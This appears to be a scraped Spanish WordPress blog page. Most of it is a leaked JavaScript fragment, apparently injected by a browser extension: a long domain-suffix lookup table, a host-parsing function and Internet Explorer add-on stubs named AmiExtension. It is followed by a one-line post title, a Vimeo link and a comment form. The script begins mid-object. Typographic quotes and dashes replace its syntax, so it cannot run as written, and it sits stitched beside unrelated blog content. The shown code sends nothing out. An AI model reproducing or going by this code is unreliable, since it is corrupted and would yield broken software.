al”:”300″,”al”:”301″,”org.al”:”302″,”net.al”:”303″,”edu.al”:”304″,”gov.al”:”305″,”cl”:”306″,”org.cl”:”307″,”mil.cl”:”308″,”com.cl”:”309″,”net.cl”:”310″,”int.cl”:”311″,”edu.cl”:”312″,”gov.cl”:”313″,”gl”:”314″,”com.gl”:”315″,”il”:”316″,”k12.il”:”317″,”ac.il”:”318″,”idf.il”:”319″,”org.il”:”320″,”muni.il”:”321″,”co.il”:”322″,”net.il”:”323″,”gov.il”:”324″,”mil”:”325″,”ml”:”326″,”nl”:”327″,”pl”:”328″,”org.pl”:”329″,”com.pl”:”330″,”net.pl”:”331″,”waw.pl”:”332″,”sl”:”333″,”am”:”334″,”bm”:”335″,”org.bm”:”336″,”com.bm”:”337″,”net.bm”:”338″,”edu.bm”:”339″,”gov.bm”:”340″,”cm”:”341″,”dm”:”342″,”com.dm”:”343″,”fm”:”344″,”org.fm”:”345″,”edu.fm”:”346″,”gm”:”347″,”ac.gm”:”348″,”org.gm”:”349″,”mil.gm”:”350″,”com.gm”:”351″,”co.gm”:”352″,”edu.gm”:”353″,”gov.gm”:”354″,”hm”:”355″,”com.hm”:”356″,”im”:”357″,”ac.im”:”358″,”org.im”:”359″,”co.im”:”360″,”plc.co.im”:”361″,”gov.im”:”362″,”jm”:”363″,”com.jm”:”364″,”km”:”365″,”mm”:”366″,”com.mm”:”367″,”net.mm”:”368″,”edu.mm”:”369″,”gov.mm”:”370″,”om”:”371″,”co.om”:”372″,”com”:”373″,”nom”:”374″,”pm”:”375″,”firm”:”376″,”sm”:”377″,”org.sm”:”378″,”uk.sm”:”379″,”mil.sm”:”380″,”com.sm”:”381″,”fr.sm”:”382″,”net.sm”:”383″,”it.sm”:”384″,”int.sm”:”385″,”edu.sm”:”386″,”gov.sm”:”387″,”tm”:”388″,”um”:”389″,”org.um”:”390″,”mil.um”:”391″,”com.um”:”392″,”net.um”:”393″,”int.um”:”394″,”edu.um”:”395″,”gov.um”:”396″,”museum”:”397″,”zm”:”398″,”an”:”399″,”bn”:”400″,”com.bn”:”401″,”cn”:”402″,”ha.cn”:”403″,”hb.cn”:”404″,”to”:”405″,”org.to”:”406″,”com.to”:”407″,”net.to”:”408″,”nato”:”409″,”gp”:”410″,”jp”:”411″,”ac.jp”:”412″,”ne.jp”:”413″,”co.jp”:”414″,”go.jp”:”415″,”gr.jp”:”416″,”or.jp”:”417″,”kp”:”418″,”mp”:”419″,”np”:”420″,”org.np”:”421″,”com.np”:”422″,”net.np”:”423″,”shop”:”424″,”coop”:”425″,”tp”:”426″,”arpa.tp”:”427″,”org.tp”:”428″,”mil.tp”:”429″,”com.tp”:”430″,”net.tp”:”431″,”edu.tp”:”432″,”gov.tp”:”433″,”aq”:”434″,”gq”:”435″,”iq”:”436″,”mq”:”437″,”ar”:”438″,”org.ar”:”439″,”mil.ar”:”440″,”com.ar”:”441″,”net.ar”:”442″,”int.ar”:”443″,”edu.ar”:”444″,”gov.ar”:”445″,”br”:”446″,”g12.br”:”447″,”rec.br”:”448″,”psc.br”:”449″,”etc.br”:”450″,”med.br”:”451″,”ind.br”:”452″,”inf.br”:”453″,”zlg.br”:”454″,”cng.br”:”455″,”eng.br”:”456″,”ppg.br”:”457″,”org.br”:”458″,”psi.br”:”459″,”eti.br”:”460″,”lel.br”:”461″,”mil.br”:”462″,”adm.br”:”463″,”com.br”:”464″,”nom.br”:”465″,”ecn.br”:”466″,”odo.br”:”467″,”bio.br”:”468″,”pro.br”:”469″,”tmp.br”:”470″,”esp.br”:”471″,”arq.br”:”472″,”jor.br”:”473″,”ntr.br”:”474″,”tur.br”:”475″,”net.br”:”476″,”vet.br”:”477″,”cnt.br”:”478″,”fot.br”:”479″,”art.br”:”480″,”fst.br”:”481″,”adv.br”:”482″,”gov.br”:”483″,”cr”:”484″,”sa.cr”:”485″,”ac.cr”:”486″,”ed.cr”:”487″,”fi.cr”:”488″,”co.cr”:”489″,”go.cr”:”490″,”or.cr”:”491″,”er”:”492″,”com.er”:”493″,”fr”:”494″,”assedic.fr”:”495″,”prd.fr”:”496″,”huissier-justice.fr”:”497″,”veterinaire.fr”:”498″,”presse.fr”:”499″,”org.fr”:”500″,”cci.fr”:”501″,”chambagri.fr”:”502″,”com.fr”:”503″,”nom.fr”:”504″,”tm.fr”:”505″,”pharmacien.fr”:”506″,”asso.fr”:”507″,”experts-comptables.fr”:”508″,”notaires.fr”:”509″,”avoues.fr”:”510″,”net.fr”:”511″,”geometre-expert.fr”:”512″,”port.fr”:”513″,”aeroport.fr”:”514″,”pg”:”515″,”com.pg”:”516″,”net.pg”:”517″,”org”:”518″,”sg”:”519″,”org.sg”:”520″,”sch.sg”:”521″,”com.sg”:”522″,”per.sg”:”523″,”net.sg”:”524″,”edu.sg”:”525″,”gov.sg”:”526″,”tg”:”527″,”co.tg”:”528″,”ug”:”529″,”ac.ug”:”530″,”co.ug”:”531″,”go.ug”:”532″,”or.ug”:”533″,”vg”:”534″,”bh”:”535″,”com.bh”:”536″,”ch”:”537″,”org.ch”:”538″,”com.ch”:”539″,”net.ch”:”540″,”edu.ch”:”541″,”gov.ch”:”542″,”eh”:”543″,”gh”:”544″,”org.gh”:”545″,”mil.gh”:”546″,”com.gh”:”547″,”edu.gh”:”548″,”gov.gh”:”549″,”kh”:”550″,”org.kh”:”551″,”com.kh”:”552″,”net.kh”:”553″,”mh”:”554″,”org.mh”:”555″,”com.mh”:”556″,”net.mh”:”557″,”edu.mh”:”558″,”ph”:”559″,”org.ph”:”560″,”mil.ph”:”561″,”com.ph”:”562″,”ngo.ph”:”563″,”net.ph”:”564″,”sh”:”565″,”org.sh”:”566″,”mil.sh”:”567″,”com.sh”:”568″,”co.sh”:”569″,”net.sh”:”570″,”edu.sh”:”571″,”gov.sh”:”572″,”th”:”573″,”ac.th”:”574″,”mi.th”:”575″,”co.th”:”576″,”go.th”:”577″,”or.th”:”578″,”net.th”:”579″,”ai”:”580″,”off.ai”:”581″,”org.ai”:”582″,”com.ai”:”583″,”edu.ai”:”584″,”gov.ai”:”585″,”bi”:”586″,”arpa.bi”:”587″,”org.bi”:”588″,”mil.bi”:”589″,”com.bi”:”590″,”net.bi”:”591″,”edu.bi”:”592″,”gov.bi”:”593″,”ci”:”594″,”co.ci”:”595″,”fi”:”596″,”org.fi”:”597″,”com.fi”:”598″,”net.fi”:”599″,”gi”:”600″,”mod.gi”:”601″,”ltd.gi”:”602″,”org.gi”:”603″,”com.gi”:”604″,”edu.gi”:”605″,”gov.gi”:”606″,”ki”:”607″,”com.ki”:”608″,”li”:”609″,”org.li”:”610″,”com.li”:”611″,”net.li”:”612″,”edu.li”:”613″,”gov.li”:”614″,”ni”:”615″,”org.ni”:”616″,”com.ni”:”617″,”nom.ni”:”618″,”net.ni”:”619″,”edu.ni”:”620″,”gov.ni”:”621″,”si”:”622″,”org.si”:”623″,”com.si”:”624″,”net.si”:”625″,”int.si”:”626″,”vi”:”627″,”org.vi”:”628″,”co.vi”:”629″,”net.vi”:”630″,”bj”:”631″,”dj”:”632″,”fj”:”633″,”name.fj”:”634″,”org.fj”:”635″,”com.fj”:”636″,”info.fj”:”637″,”pro.fj”:”638″,”net.fj”:”639″,”biz.fj”:”640″,”sj”:”641″,”bbs.sj”:”642″,”priv.sj”:”643″,”tj”:”644″,”org.tj”:”645″,”com.tj”:”646″,”net.tj”:”647″,”edu.tj”:”648″,”gov.tj”:”649″,”my.tj”:”650″,”ck”:”651″,”org.ck”:”652″,”co.ck”:”653″,”net.ck”:”654″,”gov.ck”:”655″,”dk”:”656″,”fk”:”657″,”ac.fk”:”658″,”org.fk”:”659″,”nom.fk”:”660″,”co.fk”:”661″,”net.fk”:”662″,”gov.fk”:”663″,”hk”:”664″,”org.hk”:”665″,”com.hk”:”666″,”net.hk”:”667″,”edu.hk”:”668″,”gov.hk”:”669″,”lk”:”670″,”org.lk”:”671″,”com.lk”:”672″,”net.lk”:”673″,”edu.lk”:”674″,”gov.lk”:”675″,”mk”:”676″,”pk”:”677″,”web.pk”:”678″,”com.pk”:”679″,”gov.pk”:”680″,”biz.pk”:”681″,”au”:”682″,”id.au”:”683″,”conf.au”:”684″,”org.au”:”685″,”com.au”:”686″,”asn.au”:”687″,”info.au”:”688″,”telememo.au”:”689″,”csiro.au”:”690″,”net.au”:”691″,”edu.au”:”692″,”gov.au”:”693″,”oz.au”:”694″,”cu”:”695″,”inf.cu”:”696″,”org.cu”:”697″,”com.cu”:”698″,”net.cu”:”699″,”edu.cu”:”700″,”gov.cu”:”701″,”edu”:”702″,”eu”:”703″,”gu”:”704″,”org.gu”:”705″,”mil.gu”:”706″,”com.gu”:”707″,”net.gu”:”708″,”edu.gu”:”709″,”gov.gu”:”710″,”hu”:”711″,”org.hu”:”712″,”nui.hu”:”713″,”tm.hu”:”714″,”co.hu”:”715″,”info.hu”:”716″,”sport.hu”:”717″,”priv.hu”:”718″,”lu”:”719″,”org.lu”:”720″,”com.lu”:”721″,”net.lu”:”722″,”edu.lu”:”723″,”gov.lu”:”724″,”mu”:”725″,”ac.mu”:”726″,”org.mu”:”727″,”co.mu”:”728″,”net.mu”:”729″,”nu”:”730″,”web.nu”:”731″,”rec.nu”:”732″,”stroe.nu”:”733″,”org.nu”:”734″,”mil.nu”:”735″,”com.nu”:”736″,”nom.nu”:”737″,”firm.nu”:”738″,”co.nu”:”739″,”info.nu”:”740″,”arts.nu”:”741″,”net.nu”:”742″,”int.nu”:”743″,”edu.nu”:”744″,”gov.nu”:”745″,”ru”:”746″,”org.ru”:”747″,”mil.ru”:”748″,”com.ru”:”749″,”pp.ru”:”750″,”net.ru”:”751″,”su”:”752″,”vu”:”753″,”org.vu”:”754″,”com.vu”:”755″,”net.vu”:”756″,”yu”:”757″,”ac.yu”:”758″,”org.yu”:”759″,”co.yu”:”760″,”net.yu”:”761″,”edu.yu”:”762″,”bv”:”763″,”cv”:”764″,”lv”:”765″,”id.lv”:”766″,”conf.lv”:”767″,”org.lv”:”768″,”mil.lv”:”769″,”com.lv”:”770″,”asn.lv”:”771″,”net.lv”:”772″,”edu.lv”:”773″,”gov.lv”:”774″,”mv”:”775″,”com.mv”:”776″,”gov”:”777″,”sv”:”778″,”red.sv”:”779″,”org.sv”:”780″,”com.sv”:”781″,”edu.sv”:”782″,”gov.sv”:”783″,”tv”:”784″,”rec.tv”:”785″,”org.tv”:”786″,”com.tv”:”787″,”nom.tv”:”788″,”info.tv”:”789″,”net.tv”:”790″,”aw”:”791″,”bw”:”792″,”gw”:”793″,”kw”:”794″,”org.kw”:”795″,”com.kw”:”796″,”net.kw”:”797″,”ac.cn”:”798″,”sc.cn”:”799″,”gd.cn”:”800″,”sd.cn”:”801″,”he.cn”:”802″,”org.cn”:”803″,”ah.cn”:”804″,”qh.cn”:”805″,”sh.cn”:”806″,”hi.cn”:”807″,”bj.cn”:”808″,”fj.cn”:”809″,”tj.cn”:”810″,”xj.cn”:”811″,”zj.cn”:”812″,”hk.cn”:”813″,”hl.cn”:”814″,”jl.cn”:”815″,”mm.cn”:”816″,”com.cn”:”817″,”hn.cn”:”818″,”ln.cn”:”819″,”sn.cn”:”820″,”yn.cn”:”821″,”mo.cn”:”822″,”cq.cn”:”823″,”gs.cn”:”824″,”js.cn”:”825″,”net.cn”:”826″,”edu.cn”:”827″,”gov.cn”:”828″,”tw.cn”:”829″,”gx.cn”:”830″,”nx.cn”:”831″,”sx.cn”:”832″,”gz.cn”:”833″,”xz.cn”:”834″,”gn”:”835″,”ac.gn”:”836″,”org.gn”:”837″,”com.gn”:”838″,”net.gn”:”839″,”gov.gn”:”840″,”hn”:”841″,”in”:”842″,”ac.in”:”843″,”nic.in”:”844″,”org.in”:”845″,”mil.in”:”846″,”co.in”:”847″,”res.in”:”848″,”net.in”:”849″,”ernet.in”:”850″,”int.in”:”851″,”edu.in”:”852″,”gov.in”:”853″,”kn”:”854″,”com.kn”:”855″,”mn”:”856″,”pn”:”857″,”web.pn”:”858″,”store.pn”:”859″,”com.pn”:”860″,”info.pn”:”861″,”arts.pn”:”862″,”sn”:”863″,”com.sn”:”864″,”edu.sn”:”865″,”tn”:”866″,”ind.tn”:”867″,”org.tn”:”868″,”intl.tn”:”869″,”com.tn”:”870″,”tourism.tn”:”871″,”fin.tn”:”872″,”info.tn”:”873″,”ens.tn”:”874″,”rns.tn”:”875″,”nat.tn”:”876″,”net.tn”:”877″,”edunet.tn”:”878″,”rnrt.tn”:”879″,”rnu.tn”:”880″,”gov.tn”:”881″,”vn”:”882″,”com.vn”:”883″,”ao”:”884″,”bo”:”885″,”org.bo”:”886″,”com.bo”:”887″,”edu.bo”:”888″,”gov.bo”:”889″,”co”:”890″,”web.co”:”891″,”rec.co”:”892″,”store.co”:”893″,”org.co”:”894″,”mil.co”:”895″,”com.co”:”896″,”nom.co”:”897″,”firm.co”:”898″,”info.co”:”899″,”arts.co”:”900″,”net.co”:”901″,”int.co”:”902″,”edu.co”:”903″,”gov.co”:”904″,”do”:”905″,”web.do”:”906″,”org.do”:”907″,”mil.do”:”908″,”com.do”:”909″,”net.do”:”910″,”art.do”:”911″,”edu.do”:”912″,”gov.do”:”913″,”fo”:”914″,”org.fo”:”915″,”mil.fo”:”916″,”com.fo”:”917″,”net.fo”:”918″,”int.fo”:”919″,”edu.fo”:”920″,”gov.fo”:”921″,”info”:”922″,”io”:”923″,”org.io”:”924″,”mil.io”:”925″,”com.io”:”926″,”net.io”:”927″,”edu.io”:”928″,”gov.io”:”929″,”jo”:”930″,”org.jo”:”931″,”com.jo”:”932″,”net.jo”:”933″,”edu.jo”:”934″,”gov.jo”:”935″,”mo”:”936″,”org.mo”:”937″,”com.mo”:”938″,”net.mo”:”939″,”edu.mo”:”940″,”gov.mo”:”941″,”no”:”942″,”bbs.no”:”943″,”priv.no”:”944″,”ro”:”945″,”rec.ro”:”946″,”store.ro”:”947″,”org.ro”:”948″,”com.ro”:”949″,”nom.ro”:”950″,”firm.ro”:”951″,”tm.ro”:”952″,”info.ro”:”953″,”arts.ro”:”954″,”nt.ro”:”955″,”www.ro”:”956″,”aero”:”957″,”pro”:”958″,”so”:”959″,”edu.kw”:”960″,”gov.kw”:”961″,”mw”:”962″,”pw”:”963″,”rw”:”964″,”arpa.rw”:”965″,”org.rw”:”966″,”mil.rw”:”967″,”com.rw”:”968″,”net.rw”:”969″,”edu.rw”:”970″,”gov.rw”:”971″,”tw”:”972″,”org.tw”:”973″,”com.tw”:”974″,”net.tw”:”975″,”edu.tw”:”976″,”gov.tw”:”977″,”zw”:”978″,”co.zw”:”979″,”cx”:”980″,”fx”:”981″,”mx”:”982″,”org.mx”:”983″,”com.mx”:”984″,”net.mx”:”985″,”edu.mx”:”986″,”gov.mx”:”987″,”by”:”988″,”com.by”:”989″,”cy”:”990″,”ac.cy”:”991″,”org.cy”:”992″,”com.cy”:”993″,”net.cy”:”994″,”gov.cy”:”995″,”gy”:”996″,”com.gy”:”997″,”ky”:”998″,”org.ky”:”999″,”com.ky”:”1000″,”net.ky”:”1001″,”edu.ky”:”1002″,”gov.ky”:”1003″,”ly”:”1004″,”org.ly”:”1005″,”com.ly”:”1006″,”net.ly”:”1007″,”my”:”1008″,”org.my”:”1009″,”mil.my”:”1010″,”com.my”:”1011″,”net.my”:”1012″,”int.my”:”1013″,”edu.my”:”1014″,”gov.my”:”1015″,”py”:”1016″,”mil.py”:”1017″,”com.py”:”1018″,”net.py”:”1019″,”edu.py”:”1020″,”sy”:”1021″,”org.sy”:”1022″,”com.sy”:”1023″,”net.sy”:”1024″,”uy”:”1025″,”org.uy”:”1026″,”com.uy”:”1027″,”net.uy”:”1028″,”edu.uy”:”1029″,”az”:”1030″,”org.az”:”1031″,”com.az”:”1032″,”net.az”:”1033″,”bz”:”1034″,”org.bz”:”1035″,”com.bz”:”1036″,”net.bz”:”1037″,”edu.bz”:”1038″,”gov.bz”:”1039″,”cz”:”1040″,”org.cz”:”1041″,”mil.cz”:”1042″,”com.cz”:”1043″,”net.cz”:”1044″,”int.cz”:”1045″,”edu.cz”:”1046″,”gov.cz”:”1047″,”dz”:”1048″,”org.dz”:”1049″,”pol.dz”:”1050″,”com.dz”:”1051″,”ass.dz”:”1052″,”net.dz”:”1053″,”art.dz”:”1054″,”edu.dz”:”1055″,”gov.dz”:”1056″,”biz”:”1057″,”kz”:”1058″,”com.kz”:”1059″,”mz”:”1060″,”co.mz”:”1061″,”nz”:”1062″,”ac.nz”:”1063″,”org.nz”:”1064″,”gen.nz”:”1065″,”co.nz”:”1066″,”net.nz”:”1067″,”govt.nz”:”1068″,”sz”:”1069″,”co.sz”:”1070″,”tz”:”1071″,”ac.tz”:”1072″,”ne.tz”:”1073″,”co.tz”:”1074″,”go.tz”:”1075″,”or.tz”:”1076″,”uz”:”1077″,”co.uz”:”1078″,”barreau.fr”:”1079″,”gouv.fr”:”1080″,”gr”:”1081″,”org.gr”:”1082″,”com.gr”:”1083″,”net.gr”:”1084″,”edu.gr”:”1085″,”hr”:”1086″,”org.hr”:”1087″,”mil.hr”:”1088″,”com.hr”:”1089″,”net.hr”:”1090″,”edu.hr”:”1091″,”gov.hr”:”1092″,”ir”:”1093″,”ac.ir”:”1094″,”nic.ir”:”1095″,”mil.ir”:”1096″,”co.ir”:”1097″,”or.ir”:”1098″,”net.ir”:”1099″,”gov.ir”:”1100″,”kr”:”1101″,”ac.kr”:”1102″,”ne.kr”:”1103″,”pe.kr”:”1104″,”re.kr”:”1105″,”nm.kr”:”1106″,”co.kr”:”1107″,”go.kr”:”1108″,”or.kr”:”1109″,”edu.kr”:”1110″,”lr”:”1111″,”mr”:”1112″,”org.mr”:”1113″,”com.mr”:”1114″,”edu.mr”:”1115″,”nr”:”1116″,”pr”:”1117″,”org.pr”:”1118″,”com.pr”:”1119″,”net.pr”:”1120″,”edu.pr”:”1121″,”gov.pr”:”1122″,”sr”:”1123″,”tr”:”1124″,”k12.tr”:”1125″,”org.tr”:”1126″,”mil.tr”:”1127″,”com.tr”:”1128″,”nom.tr”:”1129″,”gen.tr”:”1130″,”bbs.tr”:”1131″,”net.tr”:”1132″,”edu.tr”:”1133″,”gov.tr”:”1134″,”zr”:”1135″,”as”:”1136″,”k12.as”:”1137″,”edu.as”:”1138″,”bs”:”1139″,”org.bs”:”1140″,”com.bs”:”1141″,”net.bs”:”1142″,”cs”:”1143″,”es”:”1144″,”org.es”:”1145″,”com.es”:”1146″,”net.es”:”1147″,”edu.es”:”1148″,”gov.es”:”1149″,”gs”:”1150″,”is”:”1151″,”web.is”:”1152″,”rec.is”:”1153″,”org.is”:”1154″,”com.is”:”1155″,”nom.is”:”1156″,”firm.is”:”1157″,”arts.is”:”1158″,”net.is”:”1159″,”int.is”:”1160″,”edu.is”:”1161″,”gov.is”:”1162″,”ls”:”1163″,”ms”:”1164″,”ps”:”1165″,”us”:”1166″,”kids.us”:”1167″,”ws”:”1168″,”at”:”1169″,”ac.at”:”1170″,”co.at”:”1171″,”or.at”:”1172″,”gv.at”:”1173″,”priv.at”:”1174″,”bt”:”1175″,”org.bt”:”1176″,”com.bt”:”1177″,”net.bt”:”1178″,”edu.bt”:”1179″,”gov.bt”:”1180″,”et”:”1181″,”com.et”:”1182″,”net”:”1183″,”gt”:”1184″,”org.gt”:”1185″,”mil.gt”:”1186″,”com.gt”:”1187″,”net.gt”:”1188″,”edu.gt”:”1189″,”gov.gt”:”1190″,”ht”:”1191″,”it”:”1192″,”lt”:”1193″,”mt”:”1194″,”org.mt”:”1195″,”com.mt”:”1196″,”tm.mt”:”1197″,”net.mt”:”1198″,”edu.mt”:”1199″,”uu.mt”:”1200″,”gov.mt”:”1201″,”nt”:”1202″,”int”:”1203″,”pt”:”1204″,”gov.pt”:”1205″,”st”:”1206″,”nic.st”:”1207″,”saotome.st”:”1208″,”store.st”:”1209″,”org.st”:”1210″,”mil.st”:”1211″,”com.st”:”1212″,”net.st”:”1213″,”edu.st”:”1214″,”gov.st”:”1215″,”tt”:”1216″,”co.tt”:”1217″,”yt”:”1218″,”assedic.yt”:”1219″,”prd.yt”:”1220″,”huissier-justice.yt”:”1221″,”veterinaire.yt”:”1222″,”presse.yt”:”1223″,”org.yt”:”1224″,”cci.yt”:”1225″,”chambagri.yt”:”1226″,”com.yt”:”1227″,”tm.yt”:”1228″,”pharmacien.yt”:”1229″,”asso.yt”:”1230″,”experts-comptables.yt”:”1231″,”avoues.yt”:”1232″,”net.yt”:”1233″,”geometre-expert.yt”:”1234″,”port.yt”:”1235″,”aeroport.yt”:”1236″,”barreau.yt”:”1237″,”gov.yt”:”1238″,”biz.tm”:”1239″,”edu.ms”:”1240″};

this.parseHost = function (host){
var rc = {tld:”, domain:”, sub:”, parsed:0};
if(typeof(host) == ‘string’){
var parts = host.split(‘.’);
switch(parts.length){
case 1: rc.sub = parts[0]; rc.parsed=4;
case 0: break;
default:
for(i = parts.length – 1; i >= 0; i–){
var tmp = rc.tld == ” ? parts[i] : parts[i] + ‘.’ + rc.tld;
if(this.tlds[tmp] != undefined)rc.tld = tmp;
else {
rc.domain = parts[i];
if(i){
rc.sub = parts.slice(0, i).join(‘.’);
rc.parsed = 7;
}
else {
if(rc.domain == ‘www’){
rc.domain = ”;
rc.sub = ‘www’;
rc.parsed = 5;
}
else rc.parsed = 3;
}
break;
}
}
break;
}
}
return rc;
};

}
AmiExtension.browser = ‘ie’;
function IeAddOn(extn){
BaseIeAddOn.call(this,extn);
this.listener = function(request, sendResponse){
AmiExtension.background(this, request, sendResponse);
};
this.background = true;
}
extend(IeAddOn,BaseIeAddOn);

function AmiInjectInitOld(extensionFolderName){AmiExtension.browser = ‘ie’;
AmiExtension.run(‘ie’,extensionFolderName, false, false);
}
// ]]>

MAIN ERROR SYSTEM COLLAPSE. BREAKDOWN! -ASYMMETRIC
https://vimeo.com/104896158

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: